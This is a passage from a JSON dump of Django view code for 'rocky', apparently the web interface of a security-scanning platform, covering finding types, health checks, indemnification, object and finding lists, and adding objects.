KATFindingType(id=form_data[\"id\"])\n        info, created = OOIInformation.objects.get_or_create(id=f'KATFindingType|{form_data[\"id\"]}')\n        info.data = {\n            \"title\": form_data[\"title\"],\n            \"description\": form_data[\"description\"],\n            \"risk\": form_data[\"risk\"],\n            \"solution\": form_data[\"solution\"],\n            \"references\": form_data[\"references\"],\n            \"impact_description\": form_data[\"impact_description\"],\n            \"solution_chance\": form_data[\"solution_chance\"],\n            \"solution_impact\": form_data[\"solution_impact\"],\n            \"solution_effort\": form_data[\"solution_effort\"],\n        }\n\n        info.save()\n\n        task_id = uuid4()\n        declaration = Declaration(ooi=finding_type, valid_time=datetime.now(timezone.utc), task_id=str(task_id))\n\n        self.bytes_client.add_manual_proof(task_id, BytesClient.raw_from_declarations([declaration]))\n        self.api_connector.save_declaration(declaration, sync=True)\n\n        return redirect(get_ooi_url(\"ooi_detail\", finding_type.primary_key, self.organization.code))\n"
  },
  {
    "path": "rocky/rocky/views/handler403.py",
    "content": "from django.shortcuts import render\n\n\ndef handler403(request, exception):\n    context = {\"breadcrumbs\": [{\"url\": \"\", \"text\": \"Error code 403\"}]}\n\n    return render(request, \"403.html\", context, status=403)\n"
  },
  {
    "path": "rocky/rocky/views/handler404.py",
    "content": "from django.shortcuts import render\n\n\ndef handler404(request, exception):\n    context = {\"breadcrumbs\": [{\"url\": \"\", \"text\": \"Error code 404\"}]}\n\n    return render(request, \"404.html\", context, status=404)\n"
  },
  {
    "path": "rocky/rocky/views/health.py",
    "content": "from typing import Any\n\nimport structlog\nfrom account.mixins import OrganizationView\nfrom django.http import HttpRequest, JsonResponse\nfrom django.urls.base import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import TemplateView, View\nfrom httpx import HTTPError\nfrom katalogus.health import get_katalogus_health\n\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\nfrom rocky.bytes_client import get_bytes_client\nfrom rocky.health import ServiceHealth\nfrom rocky.scheduler import SchedulerError, scheduler_client\nfrom rocky.version import __version__\n\nlogger = structlog.get_logger(__name__)\n\n\nclass Health(OrganizationView, View):\n    def get(self, request: HttpRequest, *args: Any, **kwargs: Any) -> JsonResponse:\n        octopoes_connector = self.octopoes_api_connector\n        rocky_health = get_rocky_health(self.organization.code, octopoes_connector)\n        return JsonResponse(rocky_health.model_dump())\n\n\ndef get_bytes_health() -> ServiceHealth:\n    try:\n        bytes_health = get_bytes_client(\"\").health()  # For the health endpoint the organization has no effect\n    except HTTPError:\n        logger.exception(\"Error while retrieving Bytes health state\")\n        bytes_health = ServiceHealth(\n            service=\"bytes\", healthy=False, additional=\"Could not connect to Bytes. Service is possibly down\"\n        )\n    return bytes_health\n\n\ndef get_octopoes_health(octopoes_api_connector: OctopoesAPIConnector) -> ServiceHealth:\n    try:\n        # we need to make sure we're using Rocky's ServiceHealth model, not Octopoes' model\n        octopoes_health = ServiceHealth.model_validate(octopoes_api_connector.health().model_dump())\n    except HTTPError:\n        logger.exception(\"Error while retrieving Octopoes health state\")\n        octopoes_health = ServiceHealth(\n            service=\"octopoes\", healthy=False, additional=\"Could not connect to Octopoes. Service is possibly down\"\n        )\n    return octopoes_health\n\n\ndef get_scheduler_health(organization_code: str) -> ServiceHealth:\n    try:\n        scheduler_health = scheduler_client(organization_code).health()\n    except SchedulerError:\n        logger.exception(\"Error while retrieving Scheduler health state\")\n        scheduler_health = ServiceHealth(\n            service=\"scheduler\", healthy=False, additional=\"Could not connect to Scheduler. Service is possibly down\"\n        )\n    return scheduler_health\n\n\ndef get_rocky_health(organization_code: str, octopoes_api_connector: OctopoesAPIConnector) -> ServiceHealth:\n    services = [\n        get_octopoes_health(octopoes_api_connector),\n        get_katalogus_health(),\n        get_scheduler_health(organization_code),\n        get_bytes_health(),\n    ]\n\n    services_healthy = all(service.healthy for service in services)\n    additional = None\n    if not services_healthy:\n        additional = \"Rocky will not function properly. Not all services are healthy.\"\n    rocky_health = ServiceHealth(\n        service=\"rocky\", healthy=services_healthy, version=__version__, results=services, additional=additional\n    )\n    return rocky_health\n\n\ndef flatten_health(health_: ServiceHealth) -> list[ServiceHealth]:\n    results = [health_]\n    for sub_result in health_.results:\n        results.extend(flatten_health(sub_result))\n    health_.results = []\n    return results\n\n\nclass HealthChecks(OrganizationView, TemplateView):\n    template_name = \"health.html\"\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"breadcrumbs\"] = [\n            {\"url\": reverse(\"health\", kwargs={\"organization_code\": self.organization.code}), \"text\": _(\"Health\")},\n            {\n                \"url\": reverse(\"health_beautified\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": _(\"Beautified\"),\n            },\n        ]\n\n        rocky_health = get_rocky_health(self.organization.code, self.octopoes_api_connector)\n        context[\"health_checks\"] = flatten_health(rocky_health)\n\n        return context\n"
  },
  {
    "path": "rocky/rocky/views/indemnification_add.py",
    "content": "from account.forms import IndemnificationAddForm\nfrom account.mixins import OrganizationPermissionRequiredMixin, OrganizationView\nfrom django.contrib import messages\nfrom django.urls import reverse_lazy\nfrom django.urls.base import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import FormView\nfrom tools.models import Indemnification\n\n\nclass IndemnificationAddView(OrganizationPermissionRequiredMixin, OrganizationView, FormView):\n    template_name = \"indemnification_add.html\"\n    form_class = IndemnificationAddForm\n    permission_required = \"tools.add_indemnification\"\n\n    def post(self, request, *args, **kwargs):\n        Indemnification.objects.get_or_create(user=self.request.user, organization=self.organization)\n        self.add_success_notification()\n        return super().post(request, *args, **kwargs)\n\n    def get_success_url(self) -> str:\n        return reverse_lazy(\"organization_settings\", kwargs={\"organization_code\": self.organization.code})\n\n    def add_success_notification(self):\n        success_message = _(\"Indemnification successfully set.\")\n        messages.add_message(self.request, messages.SUCCESS, success_message)\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"indemnification_present\"] = Indemnification.objects.filter(\n            user=self.request.user, organization=self.organization\n        )\n        context[\"breadcrumbs\"] = [\n            {\n                \"url\": reverse(\"organization_settings\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": \"Settings\",\n            },\n            {\n                \"url\": reverse(\"indemnification_add\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": _(\"Add indemnification\"),\n            },\n        ]\n\n        return context\n"
  },
  {
    "path": "rocky/rocky/views/landing_page.py",
    "content": "from django.shortcuts import redirect\nfrom django.views.generic import TemplateView\n\n\nclass LandingPageView(TemplateView):\n    template_name = \"landing_page.html\"\n\n    def get(self, request, *args, **kwargs):\n        if self.request.user.is_authenticated:\n            return redirect(\"crisis_room\")\n\n        return super().get(request, *args, **kwargs)\n"
  },
  {
    "path": "rocky/rocky/views/mixins.py",
    "content": "from collections.abc import Iterable, Sequence\nfrom dataclasses import dataclass\nfrom datetime import datetime, timedelta, timezone\nfrom functools import cached_property\nfrom operator import attrgetter\nfrom typing import Literal, TypedDict, cast\n\nimport structlog\nfrom account.mixins import OrganizationView\nfrom account.models import KATUser\nfrom django import forms\nfrom django.conf import settings\nfrom django.contrib import messages\nfrom django.contrib.auth import get_user_model\nfrom django.core.exceptions import ImproperlyConfigured, PermissionDenied\nfrom django.http import Http404, HttpRequest, HttpResponse\nfrom django.shortcuts import redirect\nfrom django.urls import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views import View\nfrom django.views.generic import ListView\nfrom django.views.generic.base import ContextMixin\nfrom django.views.generic.edit import FormMixin\nfrom httpx import HTTPError\nfrom katalogus.client import Boefje\nfrom pydantic import BaseModel\nfrom tools.forms.base import ObservedAtForm\nfrom tools.forms.settings import DEPTH_DEFAULT, DEPTH_MAX\nfrom tools.models import Organization, OrganizationMember\nfrom tools.ooi_helpers import get_knowledge_base_data_for_ooi_store\nfrom tools.view_helpers import convert_date_to_datetime, get_ooi_url\n\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\nfrom octopoes.models import OOI, Reference, ScanLevel, ScanProfileType\nfrom octopoes.models.exception import ObjectNotFoundException\nfrom octopoes.models.explanation import InheritanceSection\nfrom octopoes.models.ooi.findings import Finding, FindingType, RiskLevelSeverity\nfrom octopoes.models.ooi.reports import AssetReport, HydratedReport, Report\nfrom octopoes.models.origin import Origin, OriginType\nfrom octopoes.models.pagination import Paginated\nfrom octopoes.models.tree import ReferenceTree\nfrom octopoes.models.types import get_relations\n\nlogger = structlog.get_logger(__name__)\n\nORIGIN_MAX_AGE = timedelta(days=2)\n\nFINDING_LIST_COLUMNS = {\n    \"severity\": _(\"Severity\"),\n    \"finding\": _(\"Finding\"),\n    \"location\": _(\"Location\"),\n    \"tree\": _(\"Tree\"),\n    \"graph\": _(\"Graph\"),\n}\n\nOBJECT_LIST_COLUMNS = {\n    \"object\": _(\"Object\"),\n    \"object_type\": _(\"Type\"),\n    \"clearance_level\": _(\"Clearance level\"),\n    \"clearance_type\": _(\"Clearance type\"),\n}\n\n\n@dataclass\nclass HydratedFinding:\n    finding: Finding\n    ooi: OOI\n    finding_type: FindingType\n\n\nclass OriginData(BaseModel):\n    origin: Origin\n    normalizer: dict | None = None\n    boefje: Boefje | None = None\n    params: dict[str, str] | None = None\n\n    @property\n    def is_old(self) -> bool:\n        return self.is_older_than(ORIGIN_MAX_AGE)\n\n    def is_older_than(self, time_delta: timedelta) -> bool:\n        if not self.normalizer:\n            return False\n\n        if (observation_date := self.normalizer.get(\"raw_data\", {}).get(\"boefje_meta\", {}).get(\"ended_at\")) is None:\n            raise ValueError(\"Observation date is missing in normalizer meta\")\n\n        observation_date = observation_date.replace(tzinfo=timezone.utc)\n\n        return observation_date < datetime.now(timezone.utc) - time_delta\n\n\nclass Origins(TypedDict):\n    declarations: list[OriginData]\n    observations: list[OriginData]\n    inferences: list[OriginData]\n\n\nclass OOIAttributeError(AttributeError):\n    pass\n\n\nclass ObservedAtMixin(ContextMixin, View):\n    connector_form_class: type[ObservedAtForm] = ObservedAtForm\n\n    @cached_property\n    def is_historic_view(self) -> bool:\n        return bool(self.request.GET.get(\"observed_at\", False) or self.request.POST.get(\"observed_at\", False))\n\n    @cached_property\n    def observed_at(self) -> datetime:\n        observed_at = self.request.GET.get(\"observed_at\", self.request.POST.get(\"observed_at\", None))\n        # handle empty input\n        if observed_at:\n            # handle date only input\n            try:\n                datetime_format = \"%Y-%m-%d\"\n                observed_at = convert_date_to_datetime(datetime.strptime(observed_at, datetime_format))\n                if observed_at.date() > datetime.now(timezone.utc).date():\n                    messages.warning(self.request, _(\"The selected date is in the future.\"))\n                return observed_at\n            except ValueError:\n                # handle iso format input\n                try:\n                    observed_at = datetime.fromisoformat(observed_at)\n                    if not observed_at.tzinfo:\n                        observed_at = observed_at.replace(tzinfo=timezone.utc)\n\n                    return observed_at\n                except ValueError:\n                    messages.error(self.request, _(\"Can not parse date, falling back to show current date.\"))\n        return datetime.now(timezone.utc)\n\n    def get_connector_form_kwargs(self) -> dict:\n        if self.is_historic_view:\n            return {\"data\": self.request.GET}\n        else:\n            return {}\n\n    def get_connector_form(self) -> ObservedAtForm:\n        return self.connector_form_class(**self.get_connector_form_kwargs())\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"observed_at_form\"] = self.get_connector_form()\n        context[\"observed_at\"] = self.observed_at\n        context[\"historic_view\"] = self.is_historic_view\n        return context\n\n    def count_observed_at_filter(self) -> int:\n        return int(self.is_historic_view)\n\n\nclass OctopoesView(ObservedAtMixin, OrganizationView):\n    add_object_to_dashboard_form = None\n\n    def get_single_ooi(self, pk: str) -> OOI:\n        try:\n            ref = Reference.from_str(pk)\n            ooi = self.octopoes_api_connector.get(ref, valid_time=self.observed_at)\n\n            return ooi\n        except Exception as e:\n            # TODO: raise the exception but let the handling be done by  the method that implements \"get_single_ooi\"\n            self.handle_connector_exception(e)\n            raise\n\n    def get_origins(self, reference: Reference) -> Origins:\n        declarations: list[OriginData] = []\n        observations: list[OriginData] = []\n        inferences: list[OriginData] = []\n        results: Origins = {\"declarations\": declarations, \"observations\": observations, \"inferences\": inferences}\n\n        try:\n            origins = self.octopoes_api_connector.list_origins(self.observed_at, result=reference)\n        except Exception as e:\n            logger.error(\"Could not load origins for OOI: %s from octopoes, error: %s\", reference, e)\n            messages.error(self.request, _(\"Could not load origins for OOI: %s from octopoes\") % reference)\n            return results\n\n        plugins = {}\n        normalizer_datas = {}\n        bytes_origins = []\n        for origin in origins:\n            origin = OriginData(origin=origin)\n            if origin.origin.origin_type != OriginType.OBSERVATION or not origin.origin.task_id:\n                if origin.origin.origin_type == OriginType.DECLARATION:\n                    declarations.append(origin)\n                elif origin.origin.origin_type == OriginType.INFERENCE:\n                    inferences.append(origin)\n                continue\n            bytes_origins.append(origin.origin.task_id)\n            observations.append(origin)\n\n        if bytes_origins:\n            try:\n                normalizer_datas = self.bytes_client.get_normalizer_metas(bytes_origins)\n            except HTTPError as e:\n                logger.error(\"Could not load normalizer metas from bytes: %s\", e)\n                messages.error(self.request, _(\"Could not load normalizer metas from bytes\"))\n\n        for observation in observations:\n            normalizer_data = normalizer_datas.get(str(observation.origin.task_id))\n            if not normalizer_data:\n                continue\n            boefje_meta = normalizer_data[\"raw_data\"][\"boefje_meta\"]\n            boefje_id = boefje_meta[\"boefje\"][\"id\"]\n            if boefje_meta.get(\"ended_at\"):\n                try:\n                    boefje_meta[\"ended_at\"] = datetime.strptime(boefje_meta[\"ended_at\"], \"%Y-%m-%dT%H:%M:%S.%fZ\")\n                except ValueError:\n                    boefje_meta[\"ended_at\"] = datetime.strptime(boefje_meta[\"ended_at\"], \"%Y-%m-%dT%H:%M:%SZ\")\n            observation.normalizer = normalizer_data\n            if boefje_id != \"manual\":\n                if boefje_id not in plugins:\n                    try:\n                        plugins[boefje_id] = self.katalogus_client.get_plugin(boefje_id)\n                    except HTTPError as e:\n                        logger.error(\"Could not load boefje %s from katalogus: %s\", boefje_id, e)\n                        messages.error(self.request, _(\"Could not load boefje %s from katalogus\") % boefje_id)\n                if boefje_id in plugins:\n                    observation.boefje = plugins[boefje_id]\n\n        return results\n\n    def handle_connector_exception(self, exception: Exception) -> None:\n        if isinstance(exception, ObjectNotFoundException):\n            raise Http404(\"OOI not found\")\n\n        raise exception\n\n    def get_scan_profile_inheritance(self, ooi: OOI) -> list[InheritanceSection]:\n        return self.octopoes_api_connector.get_scan_profile_inheritance(ooi.reference, self.observed_at)\n\n    def get_context_data(self, **kwargs):\n        return super().get_context_data(**kwargs)\n\n\nclass OOIList:\n    HARD_LIMIT = 99_999_999\n\n    def __init__(\n        self,\n        octopoes_connector: OctopoesAPIConnector,\n        ooi_types: set[type[OOI]] | set[str],\n        valid_time: datetime,\n        scan_level: set[ScanLevel] | set[int] | None = None,\n        scan_profile_type: set[ScanProfileType] | set[str] | None = None,\n        search_string: str | None = None,\n        order_by: Literal[\"scan_level\", \"object_type\"] = \"object_type\",\n        asc_desc: Literal[\"asc\", \"desc\"] = \"asc\",\n    ):\n        self.octopoes_connector = octopoes_connector\n        self.ooi_types = ooi_types\n        self.valid_time = valid_time\n        self.ordered = True\n        self._count = 0\n        self.scan_level = scan_level\n        self.scan_profile_type = scan_profile_type\n        self.search_string = search_string\n        self.order_by = order_by\n        self.asc_desc = asc_desc\n        self._results: Paginated[OOI] | None = None\n\n    @cached_property\n    def count(self) -> int:\n        if not self.ooi_types:\n            return 0\n        if self._results:\n            return self._results.count\n        return self.octopoes_connector.list_objects(\n            self.ooi_types,\n            valid_time=self.valid_time,\n            limit=0,\n            scan_level=self.scan_level,\n            scan_profile_type=self.scan_profile_type,\n            search_string=self.search_string,\n        ).count\n\n    def __len__(self):\n        return self.count\n\n    def __getitem__(self, key: int | slice) -> list[OOI]:\n        if not self.ooi_types:\n            return []\n        if isinstance(key, slice):\n            offset = key.start or 0\n            limit = OOIList.HARD_LIMIT\n            if key.stop:\n                limit = key.stop - offset\n\n            self._results = self.octopoes_connector.list_objects(\n                self.ooi_types,\n                valid_time=self.valid_time,\n                offset=offset,\n                limit=limit,\n                scan_level=self.scan_level,\n                scan_profile_type=self.scan_profile_type,\n                search_string=self.search_string,\n                order_by=self.order_by,\n                asc_desc=self.asc_desc,\n            )\n            return self._results.items\n\n        if isinstance(key, int):\n            if key > self.count:  # lets tell upstream no more items are expected\n                raise IndexError\n            return self.octopoes_connector.list_objects(\n                self.ooi_types,\n                valid_time=self.valid_time,\n                offset=key,\n                limit=1,\n                scan_level=self.scan_level,\n                scan_profile_type=self.scan_profile_type,\n                search_string=self.search_string,\n                order_by=self.order_by,\n                asc_desc=self.asc_desc,\n            ).items\n\n\nclass FindingList:\n    HARD_LIMIT = 99_999_999\n\n    def __init__(\n        self,\n        octopoes_connector: OctopoesAPIConnector,\n        valid_time: datetime,\n        severities: Iterable[RiskLevelSeverity],\n        exclude_muted: bool = True,\n        only_muted: bool = False,\n        search_string: str | None = None,\n        order_by: Literal[\"score\", \"finding_type\"] = \"score\",\n        asc_desc: Literal[\"asc\", \"desc\"] = \"desc\",\n    ):\n        self.octopoes_connector = octopoes_connector\n        self.valid_time = valid_time\n        self.ordered = True\n        self._count = None\n        self.severities = severities\n        self.exclude_muted = exclude_muted\n        self.only_muted = only_muted\n        self.search_string = search_string\n        self.order_by = order_by\n        self.asc_desc = asc_desc\n        self._results: Paginated[OOI] | None = None\n\n    @cached_property\n    def count(self) -> int:\n        if self._results:\n            return self._results.count\n        return self.octopoes_connector.list_findings(\n            severities=self.severities,\n            valid_time=self.valid_time,\n            exclude_muted=self.exclude_muted,\n            only_muted=self.only_muted,\n            limit=0,\n            search_string=self.search_string,\n        ).count\n\n    def __len__(self):\n        return self.count\n\n    def __getitem__(self, key: int | slice) -> list[HydratedFinding]:\n        if isinstance(key, slice):\n            offset = key.start or 0\n            limit = self.HARD_LIMIT\n            if key.stop:\n                limit = key.stop - offset\n            self._results = self.octopoes_connector.list_findings(\n                severities=self.severities,\n                valid_time=self.valid_time,\n                exclude_muted=self.exclude_muted,\n                only_muted=self.only_muted,\n                offset=offset,\n                limit=limit,\n                search_string=self.search_string,\n                order_by=self.order_by,\n                asc_desc=self.asc_desc,\n            )\n            findings = self._results.items\n            ooi_references = {finding.ooi for finding in findings}\n            finding_type_references = {finding.finding_type for finding in findings}\n            objects = self.octopoes_connector.load_objects_bulk(\n                ooi_references | finding_type_references, valid_time=self.valid_time\n            )\n\n            hydrated_findings = []\n            for finding in findings:\n                if finding.ooi not in objects or finding.finding_type not in objects:\n                    continue\n                hydrated_findings.append(\n                    HydratedFinding(\n                        finding=finding, finding_type=objects[finding.finding_type], ooi=objects[finding.ooi]\n                    )\n                )\n            return hydrated_findings\n\n        raise NotImplementedError(\"FindingList only supports slicing\")\n\n\nclass EnrichedReport:\n    report: Report\n    asset_reports: list[Report] | None\n    total_asset_reports: int\n    total_objects: int\n    report_type_summary: dict[str, int]\n    input_oois: list[str]\n\n\nclass ReportList:\n    HARD_LIMIT = 99_999_999\n\n    def __init__(self, octopoes_connector: OctopoesAPIConnector, valid_time: datetime, report_id: str | None = None):\n        self.octopoes_connector = octopoes_connector\n        self.valid_time = valid_time\n        self.ordered = True\n        self._count = None\n        self.report_id = report_id\n        self.asset_reports = None\n\n        if self.report_id and self.report_id is not None:\n            asset_reports = [\n                report\n                for report in self.octopoes_connector.get_report(self.report_id, self.valid_time).input_oois\n                if isinstance(report, AssetReport)\n            ]\n            self.asset_reports = sorted(asset_reports, key=lambda x: (x.report_type, x.input_ooi))\n\n    @cached_property\n    def count(self) -> int:\n        if self.asset_reports is not None:\n            return len(self.asset_reports)\n        return self.octopoes_connector.list_reports(valid_time=self.valid_time, limit=0).count\n\n    def __len__(self):\n        return self.count\n\n    def __getitem__(self, key: int | slice) -> Sequence[EnrichedReport | tuple[str, Report]]:\n        if isinstance(key, slice):\n            offset = key.start or 0\n            limit = self.HARD_LIMIT\n            if key.stop:\n                limit = key.stop - offset\n\n            if self.asset_reports is not None:\n                return self.asset_reports[offset : offset + limit]\n\n            reports = self.octopoes_connector.list_reports(valid_time=self.valid_time, offset=offset, limit=limit).items\n\n            return self.enriched_report_list(reports)\n\n        raise NotImplementedError(\"ReportList only supports slicing\")\n\n    def enriched_report_list(self, reports: list[HydratedReport]) -> list[EnrichedReport]:\n        enriched_reports: list[EnrichedReport] = []\n\n        for report in reports:\n            enriched_report = EnrichedReport()\n\n            enriched_report.report = report\n\n            if settings.ASSET_REPORTS:\n                asset_reports = cast(list[AssetReport], report.input_oois)\n\n                enriched_report.total_asset_reports = len(report.input_oois)\n                enriched_report.asset_reports = sorted(asset_reports[:5], key=attrgetter(\"name\"))\n                enriched_report.input_oois = list({asset_report.input_ooi for asset_report in asset_reports})\n                enriched_report.report_type_summary = self.report_type_summary(asset_reports)\n            else:\n                enriched_report.total_asset_reports = 0\n                enriched_report.input_oois = cast(list[str], report.input_oois)\n\n            enriched_report.total_objects = len(enriched_report.input_oois)\n\n            # We want to show only 5 children reports\n            enriched_reports.append(enriched_report)\n\n        return enriched_reports\n\n    @staticmethod\n    def report_type_summary(reports: list[AssetReport]) -> dict[str, int]:\n        \"\"\"\n        Calculates per report type how many objects it consumed.\n        \"\"\"\n\n        summary: dict[str, int] = {}\n\n        for report_type in sorted({report.report_type for report in reports}):\n            summary[report_type] = len([report for report in reports if report.report_type == report_type])\n\n        return summary\n\n\nclass SingleOOIMixin(OctopoesView):\n    ooi: OOI\n\n    def get_ooi_id(self) -> str:\n        if \"ooi_id\" not in self.request.GET:\n            raise OOIAttributeError(\"OOI primary key missing\")\n\n        return self.request.GET[\"ooi_id\"]\n\n    def get_ooi(self, pk: str | None = None) -> OOI:\n        if pk is None:\n            pk = self.get_ooi_id()\n\n        return self.get_single_ooi(pk)\n\n    def get_breadcrumb_list(self):\n        start = {\"url\": reverse(\"ooi_list\", kwargs={\"organization_code\": self.organization.code}), \"text\": \"Objects\"}\n        if isinstance(self.ooi, Finding):\n            start = {\n                \"url\": reverse(\"finding_list\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": \"Findings\",\n            }\n\n        return [\n            start,\n            {\n                \"url\": get_ooi_url(\"ooi_detail\", self.ooi.primary_key, self.organization.code),\n                \"text\": self.ooi.human_readable,\n            },\n        ]\n\n    def get_ooi_properties(self, ooi: OOI) -> dict:\n        class_relations = get_relations(ooi.__class__)\n        props = {field_name: value for field_name, value in ooi if field_name not in class_relations}\n\n        knowledge_base = get_knowledge_base_data_for_ooi_store({ooi.primary_key: ooi})\n\n        if knowledge_base[ooi.get_information_id()]:\n            props.update(knowledge_base[ooi.get_information_id()])\n\n        props.pop(\"scan_profile\")\n        props.pop(\"primary_key\")\n        if \"user_id\" in props and props[\"user_id\"]:\n            try:\n                props[\"user_id\"] = get_user_model().objects.get(id=props[\"user_id\"])\n            except KATUser.DoesNotExist:\n                props[\"user_id\"] = None\n            props = {\"owner\" if key == \"user_id\" else key: value for key, value in props.items()}\n        else:\n            props.pop(\"user_id\")\n\n        return props\n\n\nclass SingleOOITreeMixin(SingleOOIMixin):\n    @cached_property\n    def tree(self) -> ReferenceTree:\n        return self.get_ooi_tree(depth=2, with_scan_profiles=True)\n\n    def get_depth(self):\n        try:\n            return min(int(self.request.GET.get(\"depth\", DEPTH_DEFAULT)), DEPTH_MAX)\n        except ValueError:\n            return DEPTH_DEFAULT\n\n    def get_ooi_tree(\n        self,\n        pk: str | None = None,\n        observed_at: datetime | None = None,\n        depth: int | None = None,\n        with_scan_profiles: bool | None = True,\n        types: list[str] | None = None,\n    ) -> OOI:\n        if pk is None:\n            pk = self.get_ooi_id()\n\n        if observed_at is None:\n            observed_at = self.observed_at\n\n        ref = Reference.from_str(pk)\n        depth = depth or self.get_depth()\n\n        try:\n            tree = self.octopoes_api_connector.get_tree(\n                ref,\n                valid_time=observed_at,\n                depth=depth,\n                with_scan_profiles=with_scan_profiles,\n                types=self.request.GET.getlist(\"ooi_type\", None),\n            )\n        except Exception as e:\n            self.handle_connector_exception(e)\n\n        return tree\n\n\nclass SeveritiesMixin:\n    request: HttpRequest\n\n    def get_severities(self) -> set[RiskLevelSeverity]:\n        severities = set()\n        for severity in self.request.GET.getlist(\"severity\"):\n            try:\n                severities.add(RiskLevelSeverity(severity))\n            except ValueError as e:\n                messages.error(self.request, _(str(e)))\n\n        return severities\n\n\nclass AddDashboardItemFormMixin(FormMixin):\n    add_dashboard_item_form: type[forms.Form] | None = None\n    organization: Organization\n    template_name: str\n    organization_member: OrganizationMember\n    request: HttpRequest\n\n    def get_form_class(self):\n        \"\"\"Specific naming for forms, so that it does not interferre with other forms.\"\"\"\n        if self.add_dashboard_item_form is None:\n            raise ImproperlyConfigured(f\"{self.__class__.__name__} requires 'dashboard_form_class' to be set.\")\n        return self.add_dashboard_item_form\n\n    def get_form_kwargs(self):\n        kwargs = super().get_form_kwargs()\n        kwargs[\"organization\"] = self.organization\n        return kwargs\n\n    def get_initial(self):\n        \"\"\"This will initiate all filters set by GET request parameters.\"\"\"\n        initial = {}\n        for key in self.request.GET:\n            values = self.request.GET.getlist(key)\n            initial[key] = values if len(values) > 1 else values[0]\n        return initial\n\n    def add_to_dashboard(self) -> HttpResponse:\n        if not self.organization_member.can_add_dashboard_item:\n            messages.error(self.request, _(\"You do not have the permission to add items to a dashboard.\"))\n            raise PermissionDenied\n\n        form = self.get_form()\n        if form.is_valid():\n            dashboard_id = form.cleaned_data.get(\"dashboard\")\n            messages.success(self.request, _(\"Dashboard item has been added.\"))\n            return redirect(\n                reverse(\n                    \"organization_crisis_room\", kwargs={\"organization_code\": self.organization.code, \"id\": dashboard_id}\n                )\n            )\n\n        # If this mixin is used together with ListView, they will clash,\n        # it must return invalid form with get_queryset from ListView so they can work together.\n        if isinstance(self, ListView):\n            self.object_list = self.get_queryset()\n        return self.form_invalid(form)\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"add_dashboard_item_form\"] = self.get_form()\n        return context\n"
  },
  {
    "path": "rocky/rocky/views/ooi_add.py",
    "content": "from account.mixins import OrganizationView\nfrom django.http import Http404\nfrom django.shortcuts import redirect\nfrom django.urls.base import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import TemplateView\nfrom tools.ooi_helpers import OOI_TYPES_WITHOUT_FINDINGS\nfrom tools.view_helpers import existing_ooi_type\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.monitoring import Incident\nfrom octopoes.models.ooi.question import Question\nfrom octopoes.models.ooi.reports import AssetReport, BaseReport, HydratedReport, Report, ReportData\nfrom octopoes.models.ooi.web import ImageMetadata\nfrom octopoes.models.types import type_by_name\nfrom rocky.views.ooi_view import BaseOOIFormView\n\nEXCLUDE_OOI_TYPES = [\n    ooi_type.get_object_type()\n    for ooi_type in [Question, Incident, ImageMetadata, Report, ReportData, BaseReport, AssetReport, HydratedReport]\n]\n\n\ndef ooi_type_input_choices():\n    ooi_types = [ooi_type for ooi_type in OOI_TYPES_WITHOUT_FINDINGS if ooi_type not in EXCLUDE_OOI_TYPES]\n    ooi_types.sort()\n    return [{\"value\": ooi_type, \"text\": ooi_type} for ooi_type in ooi_types]\n\n\nclass OOIAddTypeSelectView(OrganizationView, TemplateView):\n    template_name = \"oois/ooi_add_type_select.html\"\n\n    def get(self, request, *args, **kwargs):\n        if \"add_ooi_type\" in request.GET and existing_ooi_type(request.GET[\"add_ooi_type\"]):\n            return redirect(\n                reverse(\n                    \"ooi_add\",\n                    kwargs={\"organization_code\": self.organization.code, \"ooi_type\": request.GET[\"add_ooi_type\"]},\n                )\n            )\n\n        return super().get(request, *args, **kwargs)\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n\n        context[\"ooi_types\"] = ooi_type_input_choices()\n        context[\"breadcrumbs\"] = [\n            {\"url\": reverse(\"ooi_list\", kwargs={\"organization_code\": self.organization.code}), \"text\": _(\"Objects\")},\n            {\n                \"url\": reverse(\"ooi_add_type_select\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": _(\"Add object\"),\n            },\n        ]\n\n        return context\n\n\nclass OOIAddView(BaseOOIFormView):\n    template_name = \"oois/ooi_add.html\"\n\n    def setup(self, request, *args, **kwargs):\n        super().setup(request, *args, **kwargs)\n        self.ooi_class = self.get_ooi_class()\n        self.initial = request.GET\n\n    def get_ooi_class(self) -> type[OOI]:\n        try:\n            ooi_type = self.kwargs[\"ooi_type\"]\n            if ooi_type in EXCLUDE_OOI_TYPES:\n                raise KeyError\n            return type_by_name(ooi_type)\n        except KeyError:\n            raise Http404(\"OOI-type not found\")\n\n    def get_form_kwargs(self):\n        kwargs = super().get_form_kwargs()\n        kwargs[\"user_id\"] = self.request.user.id\n\n        return kwargs\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n\n        context[\"type\"] = self.ooi_class.get_ooi_type()\n        context[\"breadcrumbs\"] = [\n            {\"url\": reverse(\"ooi_list\", kwargs={\"organization_code\": self.organization.code}), \"text\": _(\"Objects\")},\n            {\n                \"url\": reverse(\"ooi_add_type_select\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": _(\"Add object\"),\n            },\n            {\n                \"url\": reverse(\n                    \"ooi_add\",\n                    kwargs={\"organization_code\": self.organization.code, \"ooi_type\": self.ooi_class.get_ooi_type()},\n                ),\n                \"text\": _(\"Add %(ooi_type)s\") % {\"ooi_type\": self.ooi_class.get_ooi_type()},\n            },\n        ]\n\n        return context\n"
  },
  {
    "path": "rocky/rocky/views/ooi_delete.py",
